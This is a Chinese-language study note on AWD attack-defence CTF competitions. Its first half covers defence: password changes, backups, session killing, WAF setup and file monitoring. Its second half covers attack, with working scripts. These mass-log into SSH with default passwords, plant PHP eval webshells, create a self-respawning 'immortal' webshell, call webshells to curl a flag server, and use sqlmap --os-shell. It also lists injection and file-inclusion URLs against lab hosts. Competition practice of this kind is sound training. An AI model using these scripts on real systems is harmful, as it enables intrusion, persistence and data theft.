学习awd的相关资料:速成AWD并获奖的学习方法和思考记录- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者(包含使用脚本去批量修改密码)
在复现之前去了解了以下AWD的相关脚本
kali中的parrot工具可以审计代码:
基本的防守策略
一、修改用户密码和服务密码
1.修改linux的用户密码:
#passwd
如果有权限就删除用户:
#userdel -r (用户名)
先在kali中输入cat /etc/passwd 查看系统中用户的关键信息
再输入cat /etc/passwd |grep bash 过滤一下
然后就可以使用命令删除后门用户
2.修改mysql的密码(以下是在Xshell中操作):
#update mysql.user set password=password或者md5('密码') where user='root';
可以先使用select host,user,password from mysql.user;来查看
然后再删除匿名的用户:
#delete from mysql.user where user=' ';
刷新配置:
#flush privileges;
#使用mysql -u root -p命令进入数据库再进行相关的操作
注意:这里要改配置文件
3.修改网站后台的密码
从网站页面或者源码或者御剑找到后台的页面,然后尝试弱口令登入后改管理员的密码
二、web的防护
1.将网站目录打包成tar
命令:tar
在Xshell中执行命令 bash
备份根目录: tar -czvf temp/xxx.tar.gz/var/www/html(将后面的文件备份到前面的temp文件的指定文件中)
解压:tar -xzvf temp/xxx.tar.gz-C/var/www/html
2.用ssh或ftp将打包文件拉到本地
这里使用xftp软件上传
3.将文件拖到D盾中进行扫描有关的漏洞
4.用ssh控制或者ftp控制服务器将木马文件删除或者发现网站存在后门漏洞直接执行#echo >xxx.php
在xshell中复制文件名,再使用rm -f命令删除木马文件。
这样容易宕机,建议使用注释
三、关闭shell连接进程
1.查看正在连接的进程
#who
2.若发现不是自己的ip地址登录了服务器,就关闭连接进程
#pkill -kill -t pts/进程号
四、网站守护
1.查看新增文件并删除
查看命令:find ./ -cmin -30 删除命令:rm -f
2.删除不死马
新建编辑:vim 保存::wq
#vim killshell.sh
#chmod 777 killshell.sh (提供权限)
#nohup ./killshell.sh & (在后台不断的运行)
可以使用ls命令来看是否删除木马文件
3.发现网站页面存在漏洞
#echo > xxx.php (将内容删除为空)
五、防御加固,数据库备份
1.使用mysql -uroot -proot连接数据库
2.使用show databases;查看数据库 exit可退出数据库
3.使用mysqldump -uroot -proot (指定的数据库,例如:test等) > /temp/db.sql进行备份
4.恢复数据库:
先使用命令连接数据库,重新创建一个新的数据库(create database test;),使用该数据库,还原数据库的命令(source /temp/db.sql"数据库的绝对路径";),使用show databases来是否还原成功;
5.需要修改config.php文件中的配置,以上做了什么修改,config.php文件中就需要修改
步骤:先cd进入html文件目录下,使用vim命令打开并修改保存
六、启用通防
通用防御:通过一个脚本来抵挡攻击,还可以观看流量访问别人对你的攻击
这里演示看鸟脚本
使用
- 下载最新 release
- 将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
- 将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行
php watchbird.php --install [Web目录]
, 安装器将输出安装了watchbird的文件路径- 访问任意启用了waf的文件, 参数
?watchbird=ui
打开watchbird控制台, 创建一个初始密码- 如需卸载, 请在相同的位置输入
php watchbird.php --uninstall [Web目录]
, 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
七、文件监控
FileMonitor for AWD(AWD文件监控)是一款专门为AWD比赛所写的一款监控脚本,基于Python3。 目的:确保源码文件夹下的文件不发生改变,防止被其他队伍上传木马。
功能:
- 备份当前目录下所有文件及目录,储存在./bak目录中
- 计算当前文件夹下所有文件(包括子目录下的文件)的MD5值,并实时监测,当MD5值发生变化,删除该文件,并从备份文件中将其还原
- 实时监测新生成的文件,并将新生成的文件修改后缀名,并移动到./bak/drop文件夹内
- 当原始文件被删除,从备份文件中恢复该文件
使用:将脚本放到源码文件夹,并在命令行输入
$ python3 ./FileMonitor.py
实例:
基本攻击策略
这里主要就是写代码
1.批量用户登入修改密码并写入webshell且获取flag值
脚本如下:
ls/home/
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
for i in [1,2,3,4,5,6,7,8,9,10]:
try:
host = "4.4."+str(i)+".100"
s=paramiko.SSHClient()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=host,port=22,username='user1',password='123456')
stdin,stdout,stderr = s.exec_command('passwd\n')
stdin.write("123456\nPass@123.com\nPass@123.com\n")
stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php")
stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey')
print(host+':'+stdout.read().decode('utf-8'))
s.close()
except:
print(host+':Fails!')
2.批量调用webshell获取flag
脚本如下:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
for i in [1,2,3,4,5,6,7,8,9,10]:
try:
url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"
result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2)
print(url+'-->'+result.text)
//在try块中,代码首先构建了一个URL,该URL由固定的IP段(4.4.)、循环变量i、固定的IP段(.100)、端口号(1005)和文件路径(/.zack.php)组成。然后,使用requests.post方法向这个URL发送一个POST请求,其中data参数是一个字典,包含了一个名为cmd的键,其值是一个尝试执行系统命令的字符串(这里是通过curl命令从另一个IP地址192.168.245.250获取数据)。请求还设置了超时时间为2秒。如果请求成功,它将打印出URL和响应的文本内容。
except:
print(url+'-->Fails!')
//如果在尝试发送POST请求的过程中发生了任何异常(如网络问题、连接拒绝、超时等),except块将捕获这个异常,并打印出出错的URL和一个失败消息。
3.不死马种植
将不死马上传网站目录,访问不死马后在当前目录生成.zack.php后门webshell。
脚本如下:
<?php
set_time_limit(0);
#1表示忽略与客户端断开连接,继续执行脚本
ignore_user_abort(1);
#执行完后删除自身
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST[zack]);?>';
file_put_contents(".zack.php", $content);
usleep(500); #暂停0.5秒钟
}
?>
4.杀死不死马的方法,查看不死马的进程ID:
# top | grep httpd
chmod 777 kill.sh
nohup ./kill.sh &
查到ID为 11198 ,根据ID号和webshell名写.sh脚本。
# vim kill.sh
第二次AWD的复现
参考:红蓝对抗-AWD全流程攻略03(攻防模拟)_awd网络攻防-CSDN博客
红蓝对抗-AWD全流程攻略06(起手防御)_awd防守-CSDN博客
红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客
CTF-AWD-Yunnan_2_awd 文件包含漏洞利用-CSDN博客
使用nmap去扫使用的主机,命令:nmap 172.16.17.202 -p 10000-30000
再根据D盾扫出来的木马去攻击对方的网站
footer.php中的命令执行漏洞
脚本
import requests //这行代码导入了Python的requests库,该库用于发送HTTP请求。
f = open('ip.txt','r') //这行代码以只读模式('r')打开名为ip.txt的文件,并将文件对象赋值给变量f。这个文件应该包含了一行一个的IP地址或主机名列表。
data = {"shell":'cat /flag'} //这里创建了一个名为data的字典,它将作为POST请求的body发送。在这个例子中,它包含一个键"shell",其对应的值为字符串'cat /flag'。
for i in f.readlines(): //这行代码遍历ip.txt文件中的每一行。f.readlines()读取文件的所有行,并返回一个列表,其中每个元素都是文件的一行(包括末尾的换行符)。然后,它遍历这个列表,每次迭代中,变量i都会被赋值为列表中的一个元素(即文件中的一行)。
url = 'http://'+i.strip()+'/footer.php' //这行代码构建了一个URL,它由http://前缀、当前迭代的行(通过i.strip()去除末尾的换行符)和/footer.php路径组成。这个URL是POST请求的目标地址。
r = requests.post(url,data=data) //使用requests.post()函数向前面构建的URL发送POST请求,并将data字典作为请求体发送。r是一个响应对象,包含了服务器的响应。
x = r.text //从响应对象r中获取响应的文本内容,并将其赋值给变量x。这通常包含HTML页面、JSON数据或其他文本格式的内容,具体取决于服务器的响应。
print(url +' '+ x) //最后,这行代码打印出请求的URL和响应的文本内容,两者之间用四个空格分隔。这有助于用户了解每个请求的目标地址以及服务器对该请求的响应。
about.php中的文件包含漏洞
http://172.16.17.202:15054/about.php?file=/flag
contact.php中的fopen漏洞
http://172.16.17.202:15054/contact.php?path=/flag
admin/header.php中的命令执行漏洞
http://172.16.17.202:18922/admin/header.php?p=cat%20/flag
search.php中的sql注入
<?php
include 'header.php'; //这行代码包含了名为header.php的文件。
include_once('config.php'); //include_once与include类似,也是用于包含并运行指定文件。不同之处在于,include_once会检查该文件是否已经在该脚本中被包含过,如果是,则不会再次包含。
if (!empty($_GET['id'])) {
$id=$_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
$data = mysqli_query($dbc,$query);
} //这段代码首先检查$_GET['id']是否非空。$_GET是一个超全局变量,用于收集表单数据或URL的查询字符串。如果URL中包含?id=某个值,那么$_GET['id']就会包含那个值。
如果$_GET['id']非空,代码将其值赋给变量$id,然后构造一个SQL查询语句,用于从news表中检索ID等于$id的记录。
接着,使用mysqli_query()函数执行这个查询。这个函数需要两个参数:数据库连接(在这里是$dbc,它应该在config.php文件中被定义并初始化)和SQL查询语句。执行成功后,$data将包含查询结果。
$com = mysqli_fetch_array($data); //这行代码尝试从$data(即上一步的查询结果)中获取一行数据。mysqli_fetch_array()函数默认以关联数组和索引数组的形式返回结果集中的一行
?>
直接上sqlmap 对 search.php
页面上的 id
参数进行SQL注入测试
-u: 指定目标 URL。
--dbs: 这是一个选项,它告诉 sqlmap 在找到 SQL 注入点后,尝试枚举数据库服务器上的所有数据库名称。
--is-dba: sqlmap 在找到 SQL 注入点后,尝试检测当前注入的用户是否拥有数据库管理员(DBA)权限。拥有 DBA 权限的用户可以执行数据库中的任意操作,包括创建、删除和修改表,以及读取和写入数据等。
--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。
--os-shell 拿到shell,查看flag
echo 命令写入后门
echo命令:
第一种:echo 'ilove u' > a.txt *在a.txt这个文件中输入iove u,如果没有这个文件则创建。如果有这个文件,那么新内容代替原来的内容。
第二种:echo 'ilove u' >> a.txt *在a.txt这个文件中输入ilove u,如果没有这个文件则创建,如果有这个文件,那么新内容添加在原来内容的后面。
使用蚁剑连接,连接成功
在根目录下找到flag
login.php万能密码
代码审计
直接上sql注入的万能密码,得到flag
修复万能密码
user =_POST['user'];修改成
user = mysql_real_escape_string( POST['user']);
admin/index.php中的文件上传
脚本参考:红蓝对抗-AWD全流程攻略05(批量获取flag)_awd批量获取flag脚本-CSDN博客
脚本参考:
import requests
import time
import schedule
import os
payload ="?c=system('cat /flag');"
page=".a.php"
urls = [
'http://172.16.17.202:10250/',
'http://172.16.17.202:10298/',
'http://172.16.17.202:10869/',
'http://172.16.17.202:12186/',
'http://172.16.17.202:12232/',
'http://172.16.17.202:12750/',
'http://172.16.17.202:14219/',
'http://172.16.17.202:15054/',
'http://172.16.17.202:16767/',
'http://172.16.17.202:17365/',
'http://172.16.17.202:18922/',
]
def get_flag():
for url in urls:
n_url = url + page + payload
# print(n_url)
response = requests.get(url=n_url)
if response.status_code == 200:
# 获取源代码中的所有文本内容,并按行拆分
lines = response.text.split('\n')
# 获取第一行行内容
choice_line = lines[0]
with open('hm_flag1.txt', 'a', encoding='utf-8') as file:
file.write(choice_line+'\n')
def support_flag():
with open('hm_flag1.txt', 'r', encoding='utf-8') as file:
content = file.read()
# print(content)
for line in content.split('\n'):
# print(line)
url = 'http://172.16.17.202:9090/'
data = {
"flag": line,
"token": "4300f7f61934925694f6138f3045e61e"
}
response = requests.post(url, data=data)
# print(response.text)
time.sleep(1)
# 提交完所有 flag 后删除文件
os.remove('hm_flag1.txt')
def job():
#添加全局变量,跟踪是否是第一次执行任务
global first_run
get_flag()
support_flag()
print(time.strftime("%Y-%m-%d %H:%M:%S"))
if first_run:
#每五分钟执行一次
schedule.every(5).minutes.do(job)
first_run = False
if __name__ == '__main__':
first_run = True
job()
while True:
schedule.run_pending()
time.sleep(1)